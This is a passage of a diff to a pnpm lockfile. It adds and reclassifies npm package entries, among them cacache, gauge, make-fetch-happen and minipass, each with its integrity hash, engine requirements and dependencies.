- supports-color + dev: false + + /aggregate-error@3.1.0: + resolution: {integrity: sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==} + engines: {node: '>=8'} + dependencies: + clean-stack: 2.2.0 + indent-string: 4.0.0 + dev: false + /ajv@8.11.0: resolution: {integrity: sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==} dependencies: @@ -2552,12 +2638,10 @@ packages: /ansi-regex@5.0.1: resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} engines: {node: '>=8'} - dev: true /ansi-regex@6.0.1: resolution: {integrity: sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==} engines: {node: '>=12'} - dev: true /ansi-styles@3.2.1: resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} @@ -2571,7 +2655,11 @@ packages: engines: {node: '>=8'} dependencies: color-convert: 2.0.1 - dev: true + + /ansi-styles@6.2.1: + resolution: {integrity: sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==} + engines: {node: '>=12'} + dev: false /anymatch@3.1.2: resolution: {integrity: sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==} @@ -2581,6 +2669,26 @@ packages: picomatch: 2.3.1 dev: true + /aproba@2.0.0: + resolution: {integrity: sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==} + dev: false + + /are-we-there-yet@2.0.0: + resolution: {integrity: sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==} + engines: {node: '>=10'} + dependencies: + delegates: 1.0.0 + readable-stream: 3.6.0 + dev: false + + /are-we-there-yet@3.0.1: + resolution: {integrity: sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==} + engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + dependencies: + delegates: 1.0.0 + readable-stream: 3.6.0 + dev: false + /arg@4.1.3: resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==} dev: true @@ -2700,7 +2808,6 @@ packages: /balanced-match@1.0.2: resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} - dev: true /balloon-css@1.2.0: resolution: {integrity: sha512-urXwkHgwp6GsXVF+it01485Z2Cj4pnW02ICnM0TemOlkKmCNnDLmyy+ZZiRXBpwldUXO+aRNr7Hdia4CBvXJ5A==} @@ -2755,13 +2862,11 @@ packages: dependencies: balanced-match: 1.0.2 concat-map: 0.0.1 - dev: true /brace-expansion@2.0.1: resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==} dependencies: balanced-match: 1.0.2 - dev: true /braces@3.0.2: resolution: {integrity: sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==} @@ -2802,6 +2907,24 @@ packages: engines: {node: '>=8'} dev: true + /cacache@17.1.3: + resolution: {integrity: sha512-jAdjGxmPxZh0IipMdR7fK/4sDSrHMLUV0+GvVUsjwyGNKHsh79kW/otg+GkbXwl6Uzvy9wsvHOX4nUoWldeZMg==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + dependencies: + '@npmcli/fs': 3.1.0 + fs-minipass: 3.0.2 + glob: 10.3.3 + lru-cache: 7.18.3 + minipass: 5.0.0 + minipass-collect: 1.0.2 + minipass-flush: 1.0.5 + minipass-pipeline: 1.2.4 + p-map: 4.0.0 + ssri: 10.0.4 + tar: 6.1.15 + unique-filename: 3.0.0 + dev: false + /cachedir@2.2.0: resolution: {integrity: sha512-VvxA0xhNqIIfg0V9AmJkDg91DaJwryutH5rVEZAhcNi4iJFj9f+QxmAjgK1LT9I8OgToX27fypX6/MeCXVbBjQ==} engines: {node: '>=6'} @@ -2913,6 +3036,16 @@ packages: fsevents: 2.3.2 dev: true + /chownr@2.0.0: + resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==} + engines: {node: '>=10'} + dev: false + + /clean-stack@2.2.0: + resolution: {integrity: sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==} + engines: {node: '>=6'} + dev: false + /cli-cursor@2.1.0: resolution: {integrity: sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==} engines: {node: '>=4'} @@ -2972,7 +3105,6 @@ packages: engines: {node: '>=7.0.0'} dependencies: color-name: 1.1.4 - dev: true /color-name@1.1.3: resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==} @@ -2980,7 +3112,11 @@ packages: /color-name@1.1.4: resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - dev: true + + /color-support@1.1.3: + resolution: {integrity: sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==} + hasBin: true + dev: false /commander@2.20.3: resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==} @@ -3044,13 +3180,16 @@ packages: /concat-map@0.0.1: resolution: {integrity: sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=} - dev: true /connect-history-api-fallback@2.0.0: resolution: {integrity: sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==} engines: {node: '>=0.8'} dev: true + /console-control-strings@1.1.0: + resolution: {integrity: sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==} + dev: false + /conventional-changelog-angular@5.0.13: resolution: {integrity: sha512-i/gipMxs7s8L/QeuavPF2hLnJgH6pEZAttySB6aiQLWcX3puWDL3ACVmvBhJGxnAy52Qc15ua26BufY6KpmrVA==} engines: {node: '>=10'} @@ -3149,7 +3288,6 @@ packages: path-key: 3.1.1 shebang-command: 2.0.0 which: 2.0.2 - dev: true /crypto-random-string@2.0.0: resolution: {integrity: sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==} @@ -3528,7 +3666,6 @@ packages: optional: true dependencies: ms: 2.1.2 - dev: true /decamelize-keys@1.1.0: resolution: {integrity: sha512-ocLWuYzRPoS9bfiSdDd3cxvrzovVMZnRDVEzAs+hWIVXGDbHxWMECij2OBuyB/An0FFW/nLuq6Kv1i/YC5Qfzg==} @@ -3578,6 +3715,15 @@ packages: robust-predicates: 3.0.1 dev: true + /delegates@1.0.0: + resolution: {integrity: sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==} + dev: false + + /depd@2.0.0: + resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==} + engines: {node: '>= 0.8'} + dev: false + /dequal@2.0.3: resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} engines: {node: '>=6'} @@ -3593,6 +3739,11 @@ packages: engines: {node: '>=8'} dev: true + /detect-libc@2.0.1: + resolution: {integrity: sha512-463v3ZeIrcWtdgIg6vI6XUncguvr2TnGl4SzDXinkt9mSLpBJKXT3mW6xT3VQdDN11+WVs29pgvivTc4Lp8v+w==} + engines: {node: '>=8'} + dev: false + /diff@4.0.2: resolution: {integrity: sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==} engines: {node: '>=0.3.1'} @@ -3652,6 +3803,10 @@ packages: is-obj: 2.0.0 dev: true + /eastasianwidth@0.2.0: + resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} + dev: false + /echarts@5.4.2: resolution: {integrity: sha512-2W3vw3oI2tWJdyAz+b8DuWS0nfXtSDqlDmqgin/lfzbkB01cuMEN66KWBlmur3YMp5nEDEEt5s23pllnAzB4EA==} dependencies: @@ -3677,12 +3832,23 @@ packages: /emoji-regex@8.0.0: resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} - dev: true + + /emoji-regex@9.2.2: + resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} + dev: false /encode-utf8@1.0.3: resolution: {integrity: sha512-ucAnuBEhUK4boH2HjVYG5Q2mQyPorvv0u/ocS+zhdw0S8AlHYY+GOFhP1Gio5z4icpP2ivFSvhtFjQi8+T9ppw==} dev: true + /encoding@0.1.13: + resolution: {integrity: sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==} + requiresBuild: true + dependencies: + iconv-lite: 0.6.3 + dev: false + optional: true + /entities@3.0.1: resolution: {integrity: sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==} engines: {node: '>=0.12'} @@ -3693,12 +3859,21 @@ packages: engines: {node: '>=0.12'} dev: true + /env-paths@2.2.1: + resolution: {integrity: sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==} + engines: {node: '>=6'} + dev: false + /envinfo@7.10.0: resolution: {integrity: sha512-ZtUjZO6l5mwTHvc1L9+1q5p/R3wTopcfqMW8r5t8SJSKqeVI/LtajORwRFEKpEFuekjD0VBjwu1HMxL4UalIRw==} engines: {node: '>=4'} hasBin: true dev: true + /err-code@2.0.3: + resolution: {integrity: sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==} + dev: false + /error-ex@1.3.2: resolution: {integrity: sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==} dependencies: @@ -3852,6 +4027,10 @@ packages: homedir-polyfill: 1.0.3 dev: true + /exponential-backoff@3.1.1: + resolution: {integrity: sha512-dX7e/LHVJ6W3DE1MHWi9S1EYzDESENfLrYohG2G++ovZrYOkm4Knwa0mc1cn84xJOR4KEU0WSchhLbd0UklbHw==} + dev: false + /extend-shallow@2.0.1: resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} engines: {node: '>=0.10.0'} @@ -3966,6 +4145,14 @@ packages: tslib: 2.6.0 dev: true + /foreground-child@3.1.1: + resolution: {integrity: sha512-TMKDUnIte6bfb5nWv7V/caI169OHgvwjb7V4WkeUvbQQdjr5rWKqHFiKWb/fcOwB+CzBT+qbWjvj+DVwRskpIg==} + engines: {node: '>=14'} + dependencies: + cross-spawn: 7.0.3 + signal-exit: 4.0.2 + dev: false + /fraction.js@4.2.0: resolution: {integrity: sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==} dev: true @@ -4007,9 +4194,22 @@ packages: universalify: 2.0.0 dev: true + /fs-minipass@2.1.0: + resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==} + engines: {node: '>= 8'} + dependencies: + minipass: 3.3.6 + dev: false + + /fs-minipass@3.0.2: + resolution: {integrity: sha512-2GAfyfoaCDRrM6jaOS3UsBts8yJ55VioXdWcOL7dK9zdAuKT71+WBA4ifnNYqVjYv+4SsPxjK0JT4yIIn4cA/g==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + dependencies: + minipass: 5.0.0 + dev: false + /fs.realpath@1.0.0: resolution: {integrity: sha1-FQStJSMVjKpA20onh8sBQRmU6k8=} - dev: true /fsevents@2.3.2: resolution: {integrity: sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==} @@ -4037,6 +4237,35 @@ packages: resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} dev: true + /gauge@3.0.2: + resolution: {integrity: sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==} + engines: {node: '>=10'} + dependencies: + aproba: 2.0.0 + color-support: 1.1.3 + console-control-strings: 1.1.0 + has-unicode: 2.0.1 + object-assign: 4.1.1 + signal-exit: 3.0.7 + string-width: 4.2.3 + strip-ansi: 6.0.1 + wide-align: 1.1.5 + dev: false + + /gauge@4.0.4: + resolution: {integrity: sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==} + engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + dependencies: + aproba: 2.0.0 + color-support: 1.1.3 + console-control-strings: 1.1.0 + has-unicode: 2.0.1 + signal-exit: 3.0.7 + string-width: 4.2.3 + strip-ansi: 6.0.1 + wide-align: 1.1.5 + dev: false + /gensync@1.0.0-beta.2: resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} engines: {node: '>=6.9.0'} @@ -4102,6 +4331,18 @@ packages: is-glob: 4.0.3 dev: true + /glob@10.3.3: + resolution: {integrity: sha512-92vPiMb/iqpmEgsOoIDvTjc50wf9CCCvMzsi6W0JLPeUKE8TWP1a73PgqSrqy7iAZxaSD1YdzU7QZR5LF51MJw==} + engines: {node: '>=16 || 14 >=14.17'} + hasBin: true + dependencies: + foreground-child: 3.1.1 + jackspeak: 2.2.1 + minimatch: 9.0.3 + minipass: 5.0.0 + path-scurry: 1.10.1 + dev: false + /glob@7.1.4: resolution: {integrity: sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==} dependencies: @@ -4122,7 +4363,6 @@ packages: minimatch: 3.1.2 once: 1.4.0 path-is-absolute: 1.0.1 - dev: true /global-dirs@0.1.1: resolution: {integrity: sha512-NknMLn7F2J7aflwFOlGdNIuCDpN3VGoSoB+aap3KABFWbHVn1TCgFC+np23J8W2BiZbjfEw3BFBycSMv1AFblg==} @@ -4169,7 +4409,6 @@ packages: /graceful-fs@4.2.10: resolution: {integrity: sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==} - dev: true /gray-matter@4.0.3: resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==} @@ -4224,6 +4463,10 @@ packages: has-symbols: 1.0.3 dev: true + /has-unicode@2.0.1: + resolution: {integrity: sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==} + dev: false + /has@1.0.3: resolution: {integrity: sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==} engines: {node: '>= 0.4.0'} @@ -4279,6 +4522,31 @@ packages: entities: 4.4.0 dev: true + /http-cache-semantics@4.1.1: + resolution: {integrity: sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==} + dev: false + + /http-proxy-agent@5.0.0: + resolution: {integrity: sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==} + engines: {node: '>= 6'} + dependencies: + '@tootallnate/once': 2.0.0 + agent-base: 6.0.2 + debug: 4.3.4 + transitivePeerDependencies: + - supports-color + dev: false + + /https-proxy-agent@5.0.1: + resolution: {integrity: sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==} + engines: {node: '>= 6'} + dependencies: + agent-base: 6.0.2 + debug: 4.3.4 + transitivePeerDependencies: + - supports-color + dev: false + /human-signals@2.1.0: resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==} engines: {node: '>=10.17.0'} @@ -4289,6 +4557,12 @@ packages: engines: {node: '>=14.18.0'} dev: true + /humanize-ms@1.2.1: + resolution: {integrity: sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==} + dependencies: + ms: 2.1.2 + dev: false + /husky@8.0.1: resolution: {integrity: sha512-xs7/chUH/CKdOCs7Zy0Aev9e/dKOMZf3K1Az1nar3tzlv0jfqnYtu235bstsWTmXOR0EfINrPa97yy4Lz6RiKw==} engines: {node: '>=14'} @@ -4307,7 +4581,6 @@ packages: engines: {node: '>=0.10.0'} dependencies: safer-buffer: 2.1.2 - dev: true /idb@7.1.1: resolution: {integrity: sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==} @@ -4344,21 +4617,23 @@ packages: sax: 1.2.1 dev: true + /imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + dev: false + /indent-string@4.0.0: resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==} engines: {node: '>=8'} - dev: true /inflight@1.0.6: resolution: {integrity: sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=} dependencies: once: 1.4.0 wrappy: 1.0.2 - dev: true /inherits@2.0.4: resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} - dev: true /ini@1.3.8: resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} @@ -4404,6 +4679,10 @@ packages: engines: {node: '>=12'} dev: true + /ip@2.0.0: + resolution: {integrity: sha512-WKa+XuLG1A1R0UWhl2+1XQSi+fZWMsYKffMZTTYsiZaUD8k2yDAj5atimTUD2TZkyCkNEeYE5NhFZmupOGtjYQ==} + dev: false + /is-alphabetical@1.0.4: resolution: {integrity: sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==} dev: true @@ -4480,7 +4759,6 @@ packages: /is-fullwidth-code-point@3.0.0: resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} engines: {node: '>=8'} - dev: true /is-glob@4.0.3: resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} @@ -4494,6 +4772,10 @@ packages: engines: {node: '>=12'} dev: true + /is-lambda@1.0.1: + resolution: {integrity: sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==} + dev: false + /is-module@1.0.0: resolution: {integrity: sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==} dev: true @@ -4602,7 +4884,15 @@ packages: /isexe@2.0.0: resolution: {integrity: sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=} - dev: true + + /jackspeak@2.2.1: + resolution: {integrity: sha512-MXbxovZ/Pm42f6cDIDkl3xpwv1AGwObKwfmjs2nQePiy85tP3fatofl3FC1aBsOtP/6fq5SbtgHwWcMsLP+bDw==} + engines: {node: '>=14'} + dependencies: + '@isaacs/cliui': 8.0.2 + optionalDependencies: + '@pkgjs/parseargs': 0.11.0 + dev: false /jake@10.8.5: resolution: {integrity: sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==} @@ -4830,6 +5120,11 @@ packages: engines: {node: '>=0.10.0'} dev: true + /lru-cache@10.0.0: + resolution: {integrity: sha512-svTf/fzsKHffP42sujkO/Rjs37BCIsQVRCeNYIm9WN8rgT7ffoUnRtZCqU+6BqcSBdv8gwJeTz8knJpgACeQMw==} + engines: {node: 14 || >=16.14} + dev: false + /lru-cache@5.1.1: resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} dependencies: @@ -4841,7 +5136,11 @@ packages: engines: {node: '>=10'} dependencies: yallist: 4.0.0 - dev: true + + /lru-cache@7.18.3: + resolution: {integrity: sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==} + engines: {node: '>=12'} + dev: false /magic-string@0.25.9: resolution: {integrity: sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==} @@ -4856,10 +5155,40 @@ packages: '@jridgewell/sourcemap-codec': 1.4.15 dev: true + /make-dir@3.1.0: + resolution: {integrity: sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==} + engines: {node: '>=8'} + dependencies: + semver: 6.3.0 + dev: false + /make-error@1.3.6: resolution: {integrity: sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==} dev: true + /make-fetch-happen@11.1.1: + resolution: {integrity: sha512-rLWS7GCSTcEujjVBs2YqG7Y4643u8ucvCJeSRqiLYhesrDuzeuFIk37xREzAsfQaqzl8b9rNCE4m6J8tvX4Q8w==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + dependencies: + agentkeepalive: 4.3.0 + cacache: 17.1.3 + http-cache-semantics: 4.1.1 + http-proxy-agent: 5.0.0 + https-proxy-agent: 5.0.1 + is-lambda: 1.0.1 + lru-cache: 7.18.3 + minipass: 5.0.0 + minipass-fetch: 3.0.3 + minipass-flush: 1.0.5 + minipass-pipeline: 1.2.4 + negotiator: 0.6.3 + promise-retry: 2.0.1 + socks-proxy-agent: 7.0.0 + ssri: 10.0.4 + transitivePeerDependencies: + - supports-color + dev: false + /map-obj@1.0.1: resolution: {integrity: sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==} engines: {node: '>=0.10.0'} @@ -5231,7 +5560,6 @@ packages: resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} dependencies: brace-expansion: 1.1.11 - dev: true /minimatch@5.0.1: resolution: {integrity: sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==} @@ -5240,6 +5568,13 @@ packages: brace-expansion: 2.0.1 dev: true + /minimatch@9.0.3: + resolution: {integrity: sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==} + engines: {node: '>=16 || 14 >=14.17'} + dependencies: + brace-expansion: 2.0.1 + dev: false + /minimist-options@4.1.0: resolution: {integrity: sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==} engines: {node: '>= 6'} @@ -5253,6 +5588,65 @@ packages: resolution: {integrity: sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==} dev: true + /minipass-collect@1.0.2: + resolution: {integrity: sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==} + engines: {node: '>= 8'} + dependencies: + minipass: 3.3.6 + dev: false + + /minipass-fetch@3.0.3: + resolution: {integrity: sha512-n5ITsTkDqYkYJZjcRWzZt9qnZKCT7nKCosJhHoj7S7zD+BP4jVbWs+odsniw5TA3E0sLomhTKOKjF86wf11PuQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + dependencies: + minipass: 5.0.0 + minipass-sized: 1.0.3 + minizlib: 2.1.2 + optionalDependencies: + encoding: 0.1.13 + dev: false + + /minipass-flush@1.0.5: + resolution: {integrity: sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==} + engines: {node: '>= 8'} + dependencies: + minipass: 3.3.6 + dev: false + + 